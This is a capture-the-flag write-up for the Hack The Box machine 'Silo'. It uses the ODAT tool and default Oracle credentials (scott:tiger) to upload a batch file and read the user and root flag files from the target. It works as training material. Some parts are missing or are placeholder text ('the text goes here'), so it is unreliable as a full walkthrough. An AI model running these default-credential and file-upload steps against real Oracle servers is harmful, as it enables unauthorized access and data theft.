Silo Writeup

Introduction :



Silo is a Medium windows box released back in March 2018.

Part 1 : Initial Enumeration



As always we begin our Enumeration using Nmap to enumerate opened ports.
We will be using the flags -sC for default scripts and -sV to enumerate versions.


  λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Silo]

Part 2 : Getting User Access



Our nmap scan picked up port 80 so let's investigate it:

So we are greeted by a default Windows Server IIS webpage, so we could use dirsearch on it but it won't give us much results that we can use. So we'll move onto the next ports: 135,139 & 445 which are giving an oracle database for us to work with, onto which we'll use the ODat tool. So first let's install it :


  λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Silo]

  λ nihilist [ 10.10.14.10/23 ] [~/_HTB/Silo]
  → cd odat

  λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 ✔
  → sudo apt install libaio1 python3-dev alien python3-pip

Once the dependencies installed, we download the rpm file from the oracle website


  λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 ✔

Now that we have installed it, we edit our /etc/profle to define the Oracle env variables:


export ORACLE_HOME=/usr/lib/oracle/19.6/client64/
export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$ORACLE_HOME/lib
export PATH=$ORACLE_HOME/bin:$PATH

Next step is creating /etc/ld.so.conf.d/oracle.conf and adding the path to Oracle Home:


  λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at  master-python3 ?
  → sudo nano /etc/ld.so.conf.d/oracle.conf

Adding the path to the Oracle Home directory:


  /usr/lib/oracle/19.6/client64/lib/

Next we update the ldpath:


  λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at  master-python3 ?
  → sudo ldconfig

And finally we pip3 install cx_oracle and by testing it we see that we didn't have any problems so far:


  λ nihilist [ 10.10.14.10 ] [_HTB/Silo/odat] at  master-python3 ?
  → sudo -s                                                                                                       [c47824b]

Next up we install the remaining dependencies we need :

  optional arguments:
    -h, --help          show this help message and exit
    --version           show program's version number and exit

Let's keep in mind that Oracle databases have a few possible default credentials :


  SYSTEM:MANAGER
  SCOTT:TIGER
  SYS:CHANGE_ON_INSTALL
  OUTLN:OUTLN
  DBSNMP:DBSNMP
  CTXSYS:CTXSYS
  MDSYS:MDSYS

so we try them manually one by one, until we find that scott:tiger are the correct credentials: Although they may be the correct credentials, we do not know what is the user on the box, so we create a .bat script to be able to list the directories in C:\Users\ :


  λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 !?
  → echo 'dir /a c:\Users\' > nihilist.bat

We upload it using odat.py's dbmsxslprocessor :


  λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 !?
  → python3 odat.py dbmsxslprocessor -s 10.10.10.82 -d XE -U scott -P tiger --putFile "c:/" nihilist.bat /home/nihilist/_HTB/Silo/odat/nihilist.bat --sysdba

  [1] (10.10.10.82:1521): Put the /home/nihilist/_HTB/Silo/odat/nihilist.bat local file in the c:/ path (named nihilist.bat) of the 10.10.10.82 server
  [+] The /home/nihilist/_HTB/Silo/odat/nihilist.bat local file was put in the remote c:/ path (named nihilist.bat)

Now we use it to list the user directories :


  λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 !?
  → python3 odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --exec "dir C:/" nihilist.bat --sysdba

And looking at the results, we get the username "Phineas" so we grab his user flag:


  λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 !?
  → python3 odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --getFile "c:/Users/Phineas/Desktop" "user.txt" "spz.io" --sysdba

  [1] (10.10.10.82:1521): Read the user.txt file stored in the c:/Users/Phineas/Desktop path
  [+] Data stored in the remote file user.txt stored in c:/Users/Phineas/Desktop
  92XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And we have the user flag !

Part 3 : Getting Root Access



the text goes here


  λ nihilist [ 10.10.14.10/23 ] [_HTB/Silo/odat] at  master-python3 !?
  → sudo python3 odat.py externaltable -s 10.10.10.82 -d XE -U scott -P tiger --getFile "c:/Users/Administrator/Desktop" "root.txt" "spz.io" --sysdba

  [1] (10.10.10.82:1521): Read the root.txt file stored in the c:/Users/Administrator/Desktop path
  [+] Data stored in the remote file root.txt stored in c:/Users/Administrator/Desktop
  cdXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

And we have the root flag !

Conclusion



Here we can see the progress graph :

Nihilism

Until there is Nothing left.
